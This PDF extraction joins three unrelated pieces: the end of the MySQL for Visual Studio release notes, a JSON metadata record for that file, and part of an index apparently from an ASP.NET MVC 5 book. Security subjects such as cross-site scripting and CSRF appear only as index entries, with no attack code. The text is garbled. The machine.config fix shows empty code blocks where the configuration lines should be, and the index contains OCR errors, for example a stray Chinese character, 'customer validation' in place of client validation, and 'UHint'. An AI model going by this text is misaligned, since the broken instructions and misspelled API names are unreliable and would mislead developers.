as specified in Character String Literal Character Set and Collation, in the MySQL Server manual. (Bug #18169145) • In Visual Studio, the stored procedure debugger did not evaluate the last_insert_id() function in a watch expression correctly. This fix also corrects similar issues for two other information functions that query the debug data table: row_count() and found_row(). (Bug #18111085) • A new model could not be created with Entity Framework 6 in Visual Studio 2013 when using MySQL for Visual Studio 1.1.3 and Connector/NET 6.8.3. (Bug #18105394, Bug #71427) • The MySQL parser could not parse an if statement when there were any spaces before the parenthesis for the arguments (for example, “if (1, 1, 1)”). Besides if, the same issue occurred for a number of other functions like row_count, ifnull, mod, repeat, and so on, and this fix corrects the problem for all of them. (Bug #17981407) • When debugging a stored routine in Visual Studio with the debugger, long identifiers caused the error “data too long for column ‘pvarname’” to be thrown. That was because the SQL script of the debugger did not support the same lengths for identifier names as the MySQL server does. This fix matches the debugger with the MySQL server on the maximum lengths supported for identifier names. (Bug #17568158, Bug #70159) Changes in MySQL for Visual Studio 1.1.3 (2014-01-14, General Availability) This is the first GA release in the MySQL for Visual Studio 1.1 series, and it is a version suitable for production environments. It is compatible with Connector/Net 6.8.3, and it supports MySQL Server versions 5.0 to 5.6. It includes the following features: • Integration with Visual Studio 2013 (requires Professional Edition or higher) • Integration with Connector/Net 6.8.3 • Support for Entity Framework 6 new designers in Visual Studio 2013 (requires Connector/Net 6.8.3) • A new data export tool Bugs Fixed • Intellisense did not treat the keywords “describe” and “desc” as synonyms of “explain”. (Bug #17956087) • Intellisense showed views from all databases, instead of just the current one. (Bug #17954412) • The debugger failed with parser errors when debugging stored procedures with a Leave statement. (Bug #17616344) Changes in MySQL for Visual Studio 1.1.2 (Not released, Internal, Release Candidate) Bugs Fixed • Could not open the ASP.NET Web Configuration tool in the Solution Explorer when using MySQL for Visual Studio 1.0.2 and Connector/NET 6.7.5. (Bug #17898244, Bug #69808) • When opening or creating a .mysql file, trying to invoke Intellisense caused an error in some cases. (Bug #17890216) • Debugger failed to debug a routine correctly when it had two functions in a single expression. That was due to an error in handling the scope of the second function, which has been fixed. (Bug #17865915) • Installation on Windows Server 2008 failed. (Bug #17698406, Bug #70590) Changes in MySQL for Visual Studio 1.1.1 (Not released, Internal, Beta) • Functionality Added or Changed • Bugs Fixed Functionality Added or Changed • With MySQL for Visual Studio 1.0.2, the registration of the Data provider in the machine.config file was done by the installation of MySQL for Visual Studio. From MySQL for Visual Studio 1.1.1 onwards, the registration is no longer performed by MySQL for Visual Studio, but is performed during the installation of Connector/NET (from 6.8.1 and on). Also, the registration is no longer needed when using MySQL for Visual Studio only. • Added support for Entity Framework 6 for creating a model using Database First and Model First. This feature requires Connector/NET 6.8.1. Bugs Fixed - When trying to edit or alter a stored procedure or trigger that included references to session variables, an error occurred and the changes were not saved, unless Allow User Variables=true was in the connection settings. Besides stopping the error, this fix also stops similar issues with renaming stored procedure or trigger using Alter Routine. (Bug #17830161) Important For this fix to work, you have to select the correct DDL Generation Template as an entity property. Also, there is a known issue found with Visual Studio 2010, which forces the user to go back and forth between steps in order to create the SQL script. (Bug #17800707, Bug #67964) Changes in MySQL for Visual Studio 1.1.0 (Not released, Internal, Alpha) Functionality Added or Changed - Added the MySQL Data Export tool. - Added support for Visual Studio 2013. MySQL Visual Studio Plugin Release Notes Note This section contains separate Visual Studio Plugin release notes for versions of Connector/Net older than 5.1.2. From Connector/Net 5.1.2 to 6.6.x, the Visual Studio Plugin is part of the main Connector/Net package, and changes to the Visual Studio Plugin are described in the Connector/Net release notes. Note Since Connector/Net 6.7.x., the Visual Studio Plugin has been replaced by the product MySQL for Visual Studio, and these two products have conflicting version numbers. Changes in MySQL Visual Studio Plugin 1.0.1 (2006-10-04) This is a bug fix release to resolve an incompatibility issue with Connector/Net 5.0.1. It is critical that this release only be used with Connector/Net 5.0.1. After installing Connector/Net 5.0.1, you will need to make a small change in your machine.config file. This file should be located at %win%\Microsoft.Net\Framework\v2.0.50727\CONFIG\machine.config (%win% should be the location of your Windows folder). Near the bottom of the file you will see a line like this: ```xml ``` It needs to be changed to be like this: ```xml ``` Changes in MySQL Visual Studio Plugin 1.0.0 (2006-10-04) Bugs Fixed - Ability to work with MySQL objects (tables, views, stored procedures, etc) from within Server Explorer. - DDEX (Data Designer Extensibility) compatibility.
{"Source-Url": "https://downloads.mysql.com/docs/mysql-for-visual-studio-relnotes-en.pdf", "len_cl100k_base": 9312, "olmocr-version": "0.1.53", "pdf-total-pages": 16, "total-fallback-pages": 0, "total-input-tokens": 37028, "total-output-tokens": 10867, "length": "2e13", "weborganizer": {"__label__adult": 0.00029587745666503906, "__label__art_design": 0.0003304481506347656, "__label__crime_law": 0.00019371509552001953, "__label__education_jobs": 0.0006265640258789062, "__label__entertainment": 6.35385513305664e-05, "__label__fashion_beauty": 0.00010031461715698242, "__label__finance_business": 0.00019252300262451172, "__label__food_dining": 0.00015354156494140625, "__label__games": 0.0007829666137695312, "__label__hardware": 0.0004010200500488281, "__label__health": 0.00013589859008789062, "__label__history": 0.00015628337860107422, "__label__home_hobbies": 5.4895877838134766e-05, "__label__industrial": 0.0001347064971923828, "__label__literature": 0.00018846988677978516, "__label__politics": 0.0001150369644165039, "__label__religion": 0.000263214111328125, "__label__science_tech": 0.0012598037719726562, "__label__social_life": 6.80088996887207e-05, "__label__software": 0.053680419921875, "__label__software_dev": 0.9404296875, "__label__sports_fitness": 0.00015544891357421875, "__label__transportation": 0.00014317035675048828, "__label__travel": 0.00014960765838623047}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 43141, 0.04178]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 43141, 0.22637]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 43141, 0.85633]], "google_gemma-3-12b-it_contains_pii": [[0, 3572, false], [3572, 7339, null], [7339, 10065, null], [10065, 12842, null], [12842, 16226, null], [16226, 19322, null], [19322, 21837, null], [21837, 24905, null], [24905, 27968, null], [27968, 30270, null], [30270, 33023, null], [33023, 35161, null], [35161, 38182, null], [38182, 40491, null], [40491, 42914, null], [42914, 43141, null]], "google_gemma-3-12b-it_is_public_document": [[0, 3572, true], [3572, 7339, null], [7339, 10065, null], [10065, 12842, null], [12842, 16226, null], [16226, 19322, null], [19322, 21837, null], [21837, 24905, null], [24905, 27968, null], [27968, 30270, null], [30270, 33023, null], [33023, 35161, null], [35161, 38182, null], [38182, 40491, null], [40491, 42914, null], [42914, 43141, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, false], [5000, 43141, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 43141, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 43141, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 43141, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 43141, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 43141, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 43141, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 43141, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 43141, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 43141, null]], "pdf_page_numbers": [[0, 3572, 1], [3572, 7339, 2], [7339, 10065, 3], [10065, 12842, 4], [12842, 16226, 5], [16226, 19322, 6], [19322, 21837, 7], [21837, 24905, 8], [24905, 27968, 9], [27968, 30270, 10], [30270, 33023, 11], [33023, 35161, 12], [35161, 38182, 13], [38182, 40491, 14], [40491, 42914, 15], [42914, 43141, 16]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 43141, 0.0]]}
olmocr_science_pdfs
2024-12-06
2024-12-06
765e665f8f043ae5b86abfe6f85a50983d140725
Index INDEX Numbers & Symbols @ sign, 64–66 @@ sign, 66 {} (curly braces), 68 ~ (tilde), 55, 132 3A (Arrange, Act, Assert), 411–412 A About method, HomeController, 53 About.cshtml file, 53 Abstractions.dll assembly, 418 AcceptVerbsAttribute attribute, 513–514 AccountController class, 39, 165, 193 AuthorizeAttribute, 167–169 global authorization, 171–172 open redirection attacks, 202–207 AccountViewModels.cs file, 77, 138 action attribute, HTML form tag, 110, 111 action filters, 349, 454–455 method selectors, 446–447 for orthogonal activities, 420 Action HTML helper, 133–135 action invoker, 511–515 ActionLink Ajax helper, 226–230, 562 ActionLink HTML helper, 131–132 ActionName attribute, 135, 446 ActionNameAttribute attribute, 512–513 ActionResult class, 502–511 ActionSelectorAttribute attribute, 513 active XSS injection, 186–187 adapters object, 239–240 adaptive rendering, 462–470 CSS media queries, 466–468 responsive web design, 468–470 Viewport meta tag, 466 Add Controller dialog, 85–87, 363–364 add method, jQuery.validator. unobtrusive.adapters, 239 Add Scaffold dialog, 85, 363 Add View dialog, 60–63 addBool method, jQuery.validator. unobtrusive.adapters, 239 addMinMax method, jQuery.validator. unobtrusive.adapters, 239 addSingleVal method, jQuery.validator. unobtrusive.adapters, 239–240 Ajax action links, 226–229 client validation, 233–241 forms, 230–233 helpers, 225–233 ActionLink, 226–230, 562 JavaScriptStringEncode, 67, 190, 191–192 jQuery.unobtrusive-ajax.js script, 225–226, 230 HTML 5 attributes, 230 jQuery, 214–225 and NuGet, 220 autocomplete, 243–246 bootstrap plugins, 251–252 events, 217–218 injecting scripts, 222–223 jQuery function, 214–216 JSON templates, 246–251 selectors, 215–217 using in MVC applications, 219–225 validation, 233–236 writing custom scripts, 221–222 partial view updates, 73–74 performance optimization, 253–255 unobtrusive, 225–226 web.config settings, 234–235 ajax method, 250–251 AlbumList package, 57 AllowAnonymous attribute, 170–172, 349 alpha inline constraint, 267 ambient route values, 291–293 AnglicanGeek.MarkdownMailer, 543 AngularJS, 355–384 building collectors, 365–368 modules, 364–365 the Web API, 363–364 database setup, 361–362 delete operations, 377–379 details view, 373–374 edit view, 379–384 installing, 359–361 routings, 371–373 services, 368–371, 375–377 AntiXSS library, 191–193, 210 ApiController class, 335–342 AppActivator.cs file, 526 /App_Data directory, 25 /App_Start directory, 25 arbitrary objects in MVC, 399–402 in Web API, 405 area routes, 282–284 AreaRegistration class, 282 AreasDemoWeb.Controllers namespace, 283 Arrange, Act, Assert (3A), 411–412 ArtistSearch method, HomeController, 231, 248–249 ArtistSearch.cshtml file, 232 ASP.NET Dynamic Data, 527–530 ASP.NET Identity features, 12–13 persistance control, 174–175 role management, 175 storing user profile data, 174 user management, 175 ASP.NET MVC abstraction layers, 2 life cycle, 476 open source release, 10–11 ASP.NET MVC 1, 4 ASP.NET MVC 2, 4–5 ASP.NET MVC 3, 5–6 ASP.NET MVC 4, 6–10 bundling and minification, 10 display modes, 9–10 Web API, 7–9 ASP.NET MVC 5 applications conventions, 27–29 creating, 17–18 New ASP.NET Project dialog, 18–24 top-level directories, 24–27 upgrading to MVC 5.1, 547–549 default layout changes, 72 installing, 16 software requirements, 16 ASP.NET MVC 5.1 Ajax support, 562 attribute routing, 553–558 Bootstrap and JavaScript enhancements, 558–563 Enums support, 549–553 features, 546 upgrading MVC 5 applications, 547–549 ASP.NET Routing. See routing ASP.NET scaffolding, 14–15, 482–486. See also scaffolding ASP.NET vNext, 8–9 ASP.NET Web API, 333–354 adding routes, 346–347 binding parameters, 347–348 configuring, 342–346 defining, 334 enabling dependency injection, 350 exploring APIs programmatically, 350–351 filtering requests, 349–350 ProductsController example, 352–354 tracing applications, 352 writing an API controller, 335–342 asynchronous controller actions, 515–520 at (@) sign, 64–66 at TheMovies.js file, 365, 375–376 attribute routes, 14, 260–271. See also routing catch-all parameter, 284–285 combining with traditional routes, 278–280 controller routes, 263–265 route constraints, 265–267 route defaults, 267–271 route URLs, 261 route values, 262–263 vs. traditional routes, 280 and unit testing, 271–272 AttributeRouting project, 14 authentication ASP.NET Identity, 12–13, 174–175 vs. authorization, 162 claims-based, 12, 162, 173 configuring, 22 token-based authentication, 168 external logins, 175–182 filters, 349, 448–453 OAuth, 175–178, 180–182 OpenID, 175–180, 181–182 Windows, 169–170 authorization vs. authentication, 162 AuthorizeAttribute, 162–172 filters, 15, 349, 454 global, 170–172 URL authorization, 166 Authorize package, 163 AuthorizeAttribute to require login, 162–172 to require role membership, 172–174 authors metadata element, NuGet, 316 to mock containers, 417 AutoFac dependency injection library, 332 automated test results, 409 Automatic Package Restore, 309 Azure Mobile Service template, 21 B BadRequest method, ApiController, 341 BasePageType package, 476 BeginForm HTML helper, 114–118 Bind attribute, 105, 107, 201–202 binding expressions, 246, 249 BindModel, 432–436 blacklists, 191, 193, 201, 202 blocked threads, 516 bool inline constraint, 267 bootstrap adaptive rendering, 462–470 ASP.NET MVC 5.1 enhancements, 558–563 bootstrap.js file, 224 jQuery plugins, 251–252 templates, 13–14 Brail view engine, 481 BundleConfig.cs file, 10 bundling and minification, 10 Ajax, 233–235 business logic, keeping from controllers, 416 Buy method, StoreController, 162 C Cassini, 40 CAT.NET, 210 catch-all parameter, 284–285 CDNs (content delivery networks), 253 CheckBox HTML helper, 130 claims-based authentication, 12, 162, 173 customer validation, 233. See also validation custom validation, 236–241 jQuery Validation plugin, 233–236 MVC 5.1, 561–562 customer-side unit testing, 424 ClientDataModelValidatorProvider, 399, 439 ClientValidationEnabled property, 讷ViewContext, 479 Code Analysis Tool .NET, 210 code blocks, 68–70 code delimiter, escaping, 70 code expressions, 64–66, 68–69 Code First, 83, 174, 535–539 code-focused templating for HTML generation, 6 command-query responsibility segregation (CQRS), 84 commenting out code, 70 Compare attribute, DataAnnotations, 145 complacency, 210 Conery, Rob, 402 Configuration.cs file, 362 configuration transforms, 208–209 Conflict method, ApiController, 341 confused deputy attack, 193–196 constraints attribute routes, 275–267 custom route constraints, 295–296 traditional routes, 277–278 containers, dependency injection, 350, 394–396, 400, 417 content delivery networks (CDNs), 253 /Content directory, 25, 26 Content method ApiController class, 341 Controller class, 505 content negotiation, 8, 340 ContentResult ActionResult type, 505, 506 controller actions, 43–47 asynchronous, 515–520 parameters in, 45–47 securing, 162–172 and validation errors, 148–150 Controller class, 500–502 Controller property, ViewContext object, 479 ControllerActionInvoker class, 511–515 ControllerBase class, 499–501 controllers, 31–47. See also controller actions Add Controller dialog, 85–87, 363–364 creating, 41–47, 42–45 extending, 446–458 history of, 32–33 Home controller example, 39–41 IController interface, 273, 498–501 role of, 31–33 sample application overview, 34–38 scaffolding, 85–92 testing, 416–420 /Controllers directory, 24, 25 convention over configuration, 27, 28–29 cookies cookie-based authentication, 168 cookie-stealing attacks, 197–199 copyright metadata element, NuGet, 317 coupling, 386–388 CQRS (command-query responsibility segregation), 84 Create scaffold template, 62 CreateActionResult method, 511 Created method, ApiController, 341 CreatedAtRoute method, ApiController, 341 CreateMetadata method, 437–438 cross-site request forgery (CSRF) attacks, 193–197 cross-site scripting (XSS) attacks, 183–192 active injection, 186–187 passive injection, 183–185 preventing, 187–193 threat summary, 183 .cs files AccountViewModels.cs, 77, 138 AppActivator.cs, 526 BundleConfig.cs, 10 Configuration.cs, 362 DataContext.cs, 352 FilterConfig.cs, 171 global.asax.cs, 94–95, 114, 421 HomeController.cs, 39, 52–53, 413–414 IdentityModels.cs, 77, 138, 174 MusicStoreDB.cs, 87–89 Order.cs, 138–142 Product.cs, 352 RouteConfig.cs, 261, 271, 489, 554 Routes.cs, 488–491 Startup.Auth.cs, 169, 176–180, 181 .cshtml files About.cshtml, 53 ArtistSearch.cshtml, 232 _DailyDeal.cshtml, 228–229 Edit.cshtml, 118–121, 139 Index.cshtml, 51–52, 71–72, 91–92, 222–223, 226 _Layout.cshtml, 62, 126, 219–220, 222, 226, 471 Login.cshtml, 233–236 Message.cshtml, 73 Mobile.cshtml, 9, 470–472 NotIndex.cshtml, 55 SiteLayout.cshtml, 70–72 _ViewStart.cshtml, 63, 73 WinPhone.cshtml, 473 CSRF (cross-site request forgery) attacks, 193–197 preventing, 196–197 threat summary, 193–196 CSS media queries, 466–468 CSS2, 466–467 custom scaffold templates, 483–485 customErrors mode, 207–209 CustomValidators.js file, 239–241 CustomWebViewPage class, 475–476 _DailyDeal.cshtml file, 228–229 _DailyDeal method, HomeController, 227–229 data annotations, 136–158. See also validation display and edit, 155–158 shopping cart example, 138–141 validation annotations, 141–146 data dash attributes, 230, 236, 238, 244 DataAnnotations namespace, 141–146, 151, 424, 436 Compare attribute, 145 DataType attribute, 157–158 Display attribute, 155–156 HiddenInput attribute, 158 Range attribute, 145 ReadOnly attribute, 157 RegularExpression attribute, 145 Remote attribute, 145–146 Required attribute, 141–142 ScaffoldColumn attribute, 156 StringLength attribute, 142–144 UHint attribute, 158 DataAnnotationsModelValidator, 148, 399, 404, 439 DataContext.cs file, 352 DataErrorInfoModelValidatorProvider, 399, 439 datetime inline constraint, 267 DataTokens dictionary, 295 DataType attribute, DataAnnotations, 157–158 DbContext class, 83–84, 87–89, 92, 361 DDD (domain-driven design), 84 debugging routes, 286–288 decimal inline constraint, 267 default authorization filter, 162 controller classes, 39 directories, 24–27 layout changes in MVC 5, 72 model binder, 104–105 route defaults, 267–271, 274–277 templates, 492–496 unit tests, 413–414 DefaultModelBinder, 104–105, 431 defense in depth strategy, 211 DeJardin, Louis, 481 Delete scaffold template, 62 dependencies metadata element, NuGet, 317 dependency injection in ASP.NET MVC arbitrary objects, 399–402 IDependencyResolver interface, 395–396 multiply registered services, 397–399 singly registered services, 397 software design patterns, 385–395 vs. Web API, 405 in Web API, 350, 402–405 arbitrary objects, 405 multiply registered services, 403–404 vs. MVC, 405 singly registered services, 402–403 dependency injection design pattern, 392–395 description metadata element, NuGet, 316 design patterns, 385–395 dependency injection, 392–395 inversion of control, 386–388 service locator, 388–392 Details scaffold template, 62 DetailsController.js file, 374 directory structure, ASP.NET MVC applications, 24–27 Display attribute, DataAnnotations, 155–156 display modes, 9–10, 470–473 DisplayFor HTML helper, 91–92, 128 DisplayFormat attribute, DataAnnotations, 156–157 DisplayForModel HTML helper, 128, 156 DisplayName property, ValidationContext, 425, 426 domain-driven design (DDD), 84 Don’t repeat yourself (DRY) principle, 3 Dornis, Ben, 481 DotNetOpenAuth NuGet package, 181 double inline constraint, 267 DropDownList HTML helper, 99–100, 122–123 DRY (Don’t repeat yourself) principle, 3 dynamic controller actions, 45–47 Dynamic Data, 527–530 EmptyResult ActionResult type, 505, 506 EnableClientValidation HTML helper, 117, 235 Entity Framework (EF) Code First, 83, 174, 535–539 scaffolding and, 82–84 Enum support in MVC 5.1 views, 549–553 Error Logging Module and Handler (ELMAH), 207, 209, 300, 303–307, 530–532 error reporting, 207–209 exception filters, 349, 455 logging, 530–532 Execute method, ControllerBase class, 500 explicit model binding, 105–107 extending controllers, 446–458 models, 430–442 views, 442–445 ExtendingMvc package, 430 external logins, 175–182 OAuth provider configuration, 180–181 OpenID provider configuration, 178–180 registering providers, 176–178 security implications, 181–183 eager loading strategies, 89 Edit method, HomeController, 60 Edit scaffold template, 62 Edit.cshtml file, 118–121, 139 editable routes, 487–491 EditorFor HTML helper, 128, 156 EF. See Entity Framework Egozi, Ken, 554 Electric Plum Simulator, 462 ELMAH (Error Logging Module and Handler), 207, 209, 300, 303–307, 530–532 Elmah.dll assembly, 305–307 Empty (without model) scaffold template, 62 Empty scaffold template, 62 empty template, 20 Facebook template, 20–21 Facts project, 523–525 tests, XUnit.NET, 523 File method, ControllerBase class, 505 FileContentResult ActionResult type, 505 FileResult ActionResult type, 505, 506–507 FileStreamResult ActionResult type, 505 FilterConfig.cs, 171 filters action filters, 349, 454–455 method selectors, 446–447 for orthogonal activities, 420 ASP.NET Web API, 349–350 authentication filters, 15, 349, 448–453 authorization filters, 349, 454 exception filters, 349, 455 override filters, 15–16, 448, 455–457 result filters, 454–455 float inline constraint, 267 Fluent Automation, 540–541 /fonts directory, 25 foreign key properties, 79, 83, 91, 93 FormContext property, ViewContext, 479 FormIdGenerator property, ViewContext, 479 forms. See also HTML helpers; Web Forms Ajax, 230–233 HTML, 110–114 frameworkAssemblies metadata element, NuGet, 316 FubuMVC, 345 G “Gang of Four” book, 386 generic method calls, 70 GET requests AcceptVerbsAttribute, 513–514 HTML forms, 110–114 JSON responses, 245 model binding and, 104–105 GetRouteData method, 294 Glimpse, 532–535 global.asax.cs, 94–95, 114, 421 global authorization, 170–172 GlobalConfiguration class, 343 guid inline constraint, 267 H Haack, Phil, 286, 487, 491 Hanselman, Scott, 476 happy path, 102 help pages, 20, 335 helpers Ajax helpers, 225–233 ActionLink, 226–230, 562 JavaScriptStringEncode, 67, 190, 191–192 htmlunobtrusive-ajax.js script, 225–226, 230 HTML helpers. See HTML helpers templated helpers, 127–128, 492–496 URL helpers, 132 Hidden HTML helper, 129 HiddenFor HTML helper, 121, 129 HiddenInput attribute, DataAnnotations, 158 HomeController attribute class, 39–41 About method, 53 ArtistSearch method, 231, 248–249 DailyDeal method, 227–229 Edit method, 60 Index method, 39, 52, 265, 413 QuickSearch method, 244 Search method, 112 HomeController.cs file, 39, 52–53, 413–414 HTML encoding, 66–67 forms, 110–114 HTML 5 attributes, 230 HTML helpers, 114–129 Action, 133–135 ActionLink, 131–132 automatic encoding, 115 BeginForm, 114–118 CheckBox, 130 DisplayFor, 91, 128 DisplayForModel, 128, 156 DropDownList, 99–100, 122–123 EditorFor, 128, 156 EnableClientValidation, 117, 235 Hidden, 129 HiddenFor, 121, 129 inputs, adding, 118–121 Label, 121–122, 127 LabelFor, 120 ListBox, 122–123 and model metadata, 127 and ModelState, 128–129 Partial, 133 Password, 129 RadioButton, 129–130 RenderAction, 133–135 573 rendering helpers, 130–135 RenderPartial, 133 RouteLink, 131–132 strongly typed helpers, 126–127 templated helpers, 127–128 TextArea, 121 TextBox, 121 TextBoxFor, 127–128, 235–236 URL helpers, 132–135 ValidationMessage, 123–124 ValidationMessageFor, 120 ValidationSummary, 118 Html5EditorTemplates package, 498 HTTP 302 (Found) status code, 167–168, 341, 453, 504–509 HTTP 401 (Unauthorized) status code, 167–168, 447–453 HTTP GET requests AcceptVerbsAttribute, 513–514 CSRF attacks, 194–196 HTML forms, 110–114 JSON responses, 245 model binding and, 104–105 HTTP POST requests accepting, 101–103 AcceptVerbsAttribute, 513–514 HTML forms, 110–114 model binding and, 103–105 overrides, 514–515 HttpContext property, ViewContext, 479 HttpNotFound ActionResult type, 505 HttpOnly flag, 199 HttpReferer validation, 197 HTTPS, enforcing, 182 HttpStatusCodeResult ActionResult type, 505, 507 HttpUnauthorizedResult ActionResult type, 506 HttpUtility.HtmlEncode utility, 46 IActionFilter interface, 349, 454 IActionValueBinder interface, 403 IApiExplorer interface, 403 IAssembliesResolver interface, 403 IAuthorizationFilter interface, 349, 449 IAuthorizationFilter interface, 167, 349, 454 IAuthorizeFilter interface, 169 IBodyModelValidator interface, 403 IClientValidatable interface, 237–238, 423 IContentNegotiator interface, 403 IController interface, 273, 498–501 iconUrl metadata element, NuGet, 316 id dependency element, NuGet, 317 id metadata element, NuGet, 316 idempotent GETs, 197 identity mechanism features, 12–13 persistence control, 174–175 role management, 175 storing user profile data, 174 user management, 175 IdentityModels.cs file, 77, 138, 174 IDependencyResolver interface, 395–396 IDocumentationProvider interface, 351, 403 IExceptionFilter interface, 349, 455 IFilterProvider interface, 398, 404 IgnoreRoute, 285–286, 421–422 IHostBufferPolicySelector interface, 403 IHttpActionInvoker interface, 403 IHttpActionSelector interface, 403 IHttpControllerActivator interface, 403 IHttpControllerSelector interface, 403 IHttpControllerTypeResolver interface, 403 IIS Express, 40, 170 IModelBinderProvider interface, 398 Index method HomeController, 39, 52, 265, 413 ShoppingCartController, 131 StoreController, 43–44, 162 StoreManagerController, 89 Index.cshtml file Home Index view, 51–52, 226 Razor layout, 71–72 StoreManager, 91–92 view-specific scripts, 222–223 init.ps1 script, 320–321 install.ps1 script, 320 installing AngularJS, 359–361 ASP.NET MVC 5, 16 NuGet packages, 303–307 $installPath, NuGet PowerShell script parameter, 320 inline constraint, 267 interception, 182, 295, 395 InternalServerError method, ApiController, 341 inversion of control (IoC) design pattern, 386–388 IoC (inversion of control) design pattern, 386–388 IRouteConstraint interface, 295–296, 553–555 IRouteHandler interface, 294 IRouteRegistrar interface, 489 IsChildAction property, ViewContext object, 480 IsValid property, 102, 148, 149–150, 151–152, 154, 424–425 IsValidForRequest method, 447, 513–514 IsValidName method, 446 Items property, ValidationContext, 425, 426 ITraceManager interface, 403 ITraceWriter interface, 352, 403 IValidatableObject interface, 154–155 IView interface, 479–480 IVIEWEngine interface, 399, 478 J JavaScript custom code, 221–222 minimization, 224 unit testing, 424 unobtrusive, 218–219 JavaScript method, Controller class, 505 JavaScript View Engines (JSVE), 481 JavaScriptResult ActionResult type, 506, 507–508 JavaScriptStringEncode helper, 67, 190, 191–192 jQuery, 214–225 autocomplete, 243–246 bootstrap plugins, 251–252 events, 217–218 injecting scripts, 222–223 jQuery function, 214–223 JSON templates, 246–251 and NuGet, 220 selectors, 215–217 using in MVC applications, 219–225 validation, 233–236 writing custom scripts, 221–222 jQuery function, 214–216 jQuery UI plugin, 242–246 jQuery Validation plugin, 233–236 jquery-version.js file, 219 jquery-ui.css file, 243 jquery.unobtrusive-ajax.js script, 225–226, 230 jquery.validate.js file, 234, 254 jquery.validate.unobtrusive.js file, 234, 254 .js files atTheMovies.js, 365, 375–376 CustomValidators.js, 239–241 DetailsController.js, 374 jquery-version.js, 219 jquery.unobtrusive-ajax.js, 225–226, 230 jquery.validate.js, 234, 254 jquery.validate.unobtrusive.js, 234, 254 ListController.js, 366–367 modernizr.js, 225 movieService.js, 375–377 MusicScripts.js, 221, 226, 231, 238–239, 242, 244, 248 mustache.js, 246–247 References.js, 224, 239 respond.js, 225 JSON hijacking, 245, 246 Json method ApiController class, 341 Controller class, 504–505 JSON templates, 246–251 JsonResult ActionResult type, 506, 508–509 JSVE (JavaScript View Engines), 481 Katana project, 344, 345 Label HTML helper, 121–122, 127 LabelFor HTML helper, 120 language metadata element, NuGet, 317 _layout.cshtml file, 62, 126, 219–220, 222, 226, 471 layouts default changes in MVC 5, 72 in Razor, 70–72 lazy loading, 89–90 length inline constraint, 267 licenseUrl metadata element, NuGet, 316 List scaffold template, 62 ListBox HTML helper, 122–123 ListController.js file, 366–367 LoadingElementDuration parameter, 563 logging dedicated error logging systems, 209 exception logging, 530–532 Login.cshtml file, 233–236 logins external, 175–182 OAuth providers, 180–181 OpenID providers, 178–180 registering providers, 176–178 security implications, 181–183 redirection process, 168 requiring, 162–172 AuthorizeAttribute, 167–169 securing applications, 170–172 securing controller actions, 162–166 securing controllers, 170 Windows authentication, 169–170 LogOn action, AccountController, 204–206 long inline constraint, 267 Lucene.NET, 542–543 LuceneIndexingJob class, 543 LuceneIndexingService class, 542–543 Manage NuGet Packages dialog, 225–226, 247, 301, 312, 324 MapRoute method, 272–275, 286, 421–423 Mark of the Web (MOTW), 300 max inline constraint, 267 maxlength inline constraint, 267 media queries, CSS, 466–468 MemberName property, ValidationContext, 425, 426–427 membership. See also ASP.NET Identity downsides, 175 permissions management, 173 role membership, requiring, 172–174 Message.cshtml file, 73 metadata describing models with, 436–438 HTML helpers and, 127–128 NuSpec files, 316–317 method attribute, HTML form tag, 110, 111 Microsoft CDN, 253 Microsoft Code Analysis Tool .NET, 210 Microsoft Information Security Team, 211 Microsoft Security Developer Center, 21 _MigrationHistory table, 93–94 min inline constraint, 267 .min.js files, 224 minlength inline constraint, 267 .min.map.js file, 224 mobile device support, 461–473 adaptive rendering, 462–470 display modes, 470–473 mobile emulators, 462 Mobile.cshtml file, 9, 470–472 model binding, 103–107. See also models BindModel, 432–436 creating models, 431–436 DefaultModelBinder, 104–105, 431 explicit, 105–107 exposing request data, 430–431 ModelState and, 128–129 over-posting attacks, 200–202 parameter binding system, 347–348 security, 105 validation and, 147–148 value providers, 104, 347–348, 430–431 Model-View-Presenter (MVP) pattern, 32 ModelMetadataProvider service, Web API, 403 models. See also model binding creating with model binders, 431–436 MVC Music Store example, 76–80 describing with metadata, 436–438 extending, 430–442 scaffolding, 14–15, 80–97 and the Entity Framework, 82–84 ASP.NET Scaffolding, 14–15, 482–486 controller example, 85–92 custom scaffolders, 485–486 edit scenario, 97–103 executing scaffolded code, 92–97 templates, 60–62, 81–82, 483–485 validating. See validation /Models directory, 24 ModelState creator actions and, 148–150 HTML helpers and, 128–129 validation and, 148 ModelValidatorProvider class, 399, 404, 439 modernizr.js file, 225 Moq mocking framework, 418–419, 422 MOTW (Mark of the Web), 300 movieService.js file, 375–377 MS Test framework, 412 multiply registered services in MVC, 397–399 in Web API, 403–404 MusicScripts.js file, 221, 226, 231, 238–239, 242, 244, 248 MusicStoreDB.cs file, 87–89 mustache.js file, 246–247 MVC (Model-View-Controller) as applied to web frameworks, 3 as UI pattern, 2 background of ASP.NET MVC releases, 3–11 MVC 6, 8–9 MVC template, 20 MVP (Model-View-Presenter) pattern, 32 N N+1 problem, 90 named routes, 280–282 Nancy, 345 NerdDinner.com, 203–205 New ASP.NET Project dialog, 18–24 application template, selecting, 19–21 authentication, configuring, 22 unit test projects, creating, 21 Windows Azure resources, configuring, 22–24 New Data Context dialog, 86–87 New Project dialog, 18 NHaml view engine, 481 Nielsen, Jakob, 258, 487 Ninject, 543–544 NotFound method, ApiController, 341 NotFound.cshtml file, 55 Nowin, 345 NuGet packages, 299–332 AnglicanGeek.MarkdownMailer, 543 creating, 312–324 ELMAH, 207, 209, 300, 303–307, 530–532 finding, 301–303 Html5EditorTemplates, 498 installing, 303–307 jQuery and, 220 Lucene.NET, 542–543 